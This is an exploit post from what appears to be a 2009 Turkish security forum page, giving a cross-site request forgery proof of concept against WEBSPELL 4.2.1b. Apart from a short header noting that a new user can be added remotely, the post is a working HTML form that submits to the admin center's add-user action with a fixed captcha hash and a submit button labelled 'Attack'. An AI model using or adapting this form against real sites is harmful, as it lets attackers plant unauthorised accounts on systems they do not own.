WEBSPELL 4.2.1b ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > WEBSPELL 4.2.1b ~ XSRF Vuln.

Madde
	Author : Bug Researchers/Fl0riX
	Date : 04.11.2009 23:57:11
	# WEBSPELL 4.2.1b ~ XSRF Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name :WEBSPELL 4.2.1b # Vulnerable Type : XSRF # Infection : Uzaktan otomatik olarak yeni user eklenebilir. # author : Fl0riX - Bug Researchers # Demo : http://demo.opensourcecms.com/webspell/index.php ############################################################# < ------------------- header data end of ------------------- > <form method=post action=http://site.com/[path]/admin/admincenter.php?site=users&action=adduser> <input type=text name=username size=60 /> <input type=password name=pass size=60 /> <input type=hidden name=captcha_hash value=ad661409b865afdb4261fff2801e4909 /> <input type=submit name=newuser value=Attack /> </form> < -- bug code end of -- >